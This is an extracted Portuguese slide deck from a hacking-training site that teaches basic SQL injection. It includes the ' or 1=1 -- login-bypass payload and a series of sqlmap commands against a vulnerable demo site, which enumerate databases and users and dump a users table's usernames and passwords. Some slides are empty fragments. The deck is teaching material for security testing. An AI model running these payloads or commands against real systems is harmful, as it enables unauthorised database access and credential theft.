SQLi Básico
SQLi Básico
www.eSecurity.com.br
Temas de Hoje:
• SQL Injection Básico
• Entendendo SQLi
• SQLi Básico
• Erros de Código
• Principais Dorks
• Exemplos
• SQLi Strings
• Exercício
• SQL Injection vs Blind SQL
• SQL Injection com SQLMap
• Principais opções
• Coletando informações com SQLMap
• Evasão com SQLMap
SQLi Básico
www.eSecurity.com.br
SQLi Básico - Definição
www.eSecurity.com.br
FrontEnd BackEnd
SQLi Básico – Erro de Código
www.eSecurity.com.br
Também é considerado SQL Injection o fato de enganar o form com uma falha de
programação.
Podemos também causar um erro para testar a aplicação apenas adicionando um caracter
SELECT * FROM usuarios WHERE login = ' ' ' AND password = '[password]' ;
Vamos supor que adicionamos aos campos de usuário e senha o seguinte item.
' or 1=1 --
SELECT * FROM usuarios WHERE login = ' ' or 1=1- - ' AND senha = '[senha]';
SQLi Básico - Dorks
www.eSecurity.com.br
Parâmetros informados
SQL esperado SQL resultante Comentário
Campo_login Campo_senha
Exercício
SQLMAP
“Sqlmap é uma ferramenta open source para penetration test que automatiza o
processo de detecção e exploiting de vulnerabilidades a Sqli Injection, é escrita
em python e tem suporte tanto GNU linux ou windows.”
--help
Mostra as opções do SQLMAP
--current-db
Apresenta o banco de dados atual
Exemplo: sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db
--banner
Pega o Banner do DBMS
Exemplo: sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" -b
--dbs
Lista os bancos de dados do DBMS
Exemplo: sqlmap -url "http://testphp.vulnweb.com/listproducts.php?cat=1" –dbs
--tables
Apresenta as tabelas do banco selecionado
Exemplo: sqlmap -url "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables
--dump
Extrai as informações da colunas selecionadas
Exemplo: sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C
'uname,pass' –dump
--current-user
Extrai informações sobre usuário conectado no banco de dados corrente
Exemplo: sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –curent-user
--is-dba
Verifica se o usuário atual é administrador do Banco
Exemplo: sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --is-dba
--users
Enumera todos os usuários
Exemplo: sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --users
--search
Varre o banco atrás do que você procura, pode ser um banco, tabela ou coluna
Exemplo: sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --search –C ‘pass’
SQLi Intermediário – Evasão SQLMap
www.eSecurity.com.br
www.eSecurity.com.br
www.eSecurity.com.br
E-mail: [email protected]
Skype: desafiohacker
Fanpage: www.facebook.com/academiahacker